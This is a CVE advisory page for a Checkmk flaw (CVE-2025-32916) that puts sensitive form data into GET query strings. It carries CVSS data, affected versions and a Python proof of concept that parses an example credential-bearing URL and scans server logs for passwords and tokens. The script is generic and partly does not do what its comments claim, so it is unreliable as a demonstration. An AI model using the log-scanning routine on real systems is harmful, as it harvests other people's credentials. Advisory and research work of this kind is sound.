Security Vulnerability Report
中文
CVE-2025-32916 CVSS 4.3 MEDIUM

CVE-2025-32916

Published: 2025-10-09 15:16:06
Last Modified: 2025-12-04 20:44:22

Description

Potential use of sensitive information in GET requests in Checkmk GmbH's Checkmk versions <2.4.0p13, <2.3.0p38, <2.2.0p46, and 2.1.0 (EOL) may cause sensitive form data to be included in URL query parameters, which may be logged in various places such as browser history or web server logs.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:checkmk:checkmk:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:checkmk:checkmk:2.2.0:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:checkmk:checkmk:2.2.0:p1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:checkmk:checkmk:2.2.0:p10:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:checkmk:checkmk:2.2.0:p11:*:*:*:*:*:* - VULNERABLE
Checkmk < 2.4.0p13
Checkmk < 2.3.0p38
Checkmk < 2.2.0p46
Checkmk 2.1.0 (EOL)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-32916 PoC - Sensitive Data Exposure via GET Requests in Checkmk # This PoC demonstrates how sensitive form data can be exposed in URL parameters import requests from urllib.parse import urlparse, parse_qs # Target Checkmk instance TARGET_URL = "https://target-checkmk-instance.com/mysite/login" # Step 1: Identify forms that use GET method for sensitive data def check_form_method(url): """Check if forms on the page use GET method for sensitive data submission""" response = requests.get(url) # Look for forms with method="GET" that contain sensitive fields sensitive_fields = ['password', 'secret', 'token', 'api_key', 'credentials'] # Example of vulnerable form pattern: # <form method="GET" action="/mysome_page"> # <input type="password" name="password" /> # <input type="text" name="username" /> # </form> print(f"[*] Checking forms at: {url}") print(f"[*] Looking for GET method forms with sensitive fields...") return response.text # Step 2: Demonstrate the vulnerability - sensitive data in URL def demonstrate_vulnerability(): """Demonstrate how sensitive data ends up in URL parameters""" # When a form uses GET method, the URL will contain: vulnerable_url = "https://target-checkmk-instance.com/mysite/edit_password?username=admin&password=SuperSecret123&api_token=abc123xyz" parsed = urlparse(vulnerable_url) params = parse_qs(parsed.query) print(f"\n[+] Vulnerable URL detected:") print(f" URL: {vulnerable_url}") print(f"\n[+] Exposed parameters:") for key, value in params.items(): print(f" {key} = {value[0]}") # Step 3: Show where this data could be logged print(f"\n[*] This URL may be logged in:") print(f" - Browser history") print(f" - Web server access logs (Apache/Nginx)") print(f" - Reverse proxy logs") print(f" - HTTP Referer headers sent to third-party resources") print(f" - Network monitoring tools / SIEM systems") # Step 4: Extract sensitive data from server logs def extract_from_logs(log_file): """Extract sensitive data from web server access logs""" sensitive_patterns = ['password', 'secret', 'token', 'api_key'] with open(log_file, 'r') as f: for line in f: for pattern in sensitive_patterns: if pattern in line.lower(): print(f"[!] Sensitive data found in log: {line.strip()}") break if __name__ == "__main__": demonstrate_vulnerability()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-32916", "sourceIdentifier": "[email protected]", "published": "2025-10-09T15:16:05.503", "lastModified": "2025-12-04T20:44:21.820", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Potential use of sensitive information in GET requests in Checkmk GmbH's Checkmk versions <2.4.0p13, <2.3.0p38, <2.2.0p46, and 2.1.0 (EOL) may cause sensitive form data to be included in URL query parameters, which may be logged in various places such as browser history or web server logs."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:H/UI:P/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.0, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "HIGH", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-598"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.1.0", "versionEndExcluding": "2.2.0", "matchCriteriaId": "4491352C-E13B-45DF-AC48-50B27AE037BD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:-:*:*:*:*:*:*", "matchCriteriaId": "C66704F1-0B5E-4B43-8748-987022F378F8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:p1:*:*:*:*:*:*", "matchCriteriaId": "3FB7221E-BE9F-4529-8E07-8AD547FA3208"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:p10:*:*:*:*:*:*", "matchCriteriaId": "30A074AD-9499-46E3-AB67-D6CEE3AA01C3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:p11:*:*:*:*:*:*", "matchCriteriaId": "A8BD0240-A22B-4273-BD47-C35A8C12E127"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:p12:*:*:*:*:*:*", "matchCriteriaId": "DAA5680F-1DD0-48AA-BB7F-15B27365F0FA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:p13:*:*:*:*:*:*", "matchCriteriaId": "BC2F31CA-D4EB-44E6-9A09-5255D33F4A88"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:p14:*:*:*:*:*:*", "matchCriteriaId": "CD80BD69-20C6-4E17-B165-98689179A5A1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:p16:*:*:*:*:*:*", "matchCriteriaId": "7DE79896-EBE5-42F2-A126-2A871BBA1071"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:p17:*:*:*:*:*:*", "matchCriteriaId": "51A44E69-EEA1-4B01-B7B3-5BF7B39819E3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:p18:*:*:*:*:*:*", "matchCriteriaId": "BCB65AEB-CF52-410B-92B1-2DCFB914FFA4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:p19:*:*:*:*:*:*", "matchCriteriaId": "B7E17FA6-9011-489C-9FA9-368CA2D86FAE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:p21:*:*:*:*:*:*", "matchCriteriaId": "8735357F-16A7-4408-9DDD-1C6796BADBE9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:p22:*:*:*:*:*:*", "matchCriteriaId": "4505098C-0A2B-481E-A3DF-D6DF8EFA4DE7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:p23:*:*:*:*:*:*", "matchCriteriaId": "C12AFCCF-014E-4EEB-8F04-F1ACE182BA98"}, {" ... (truncated)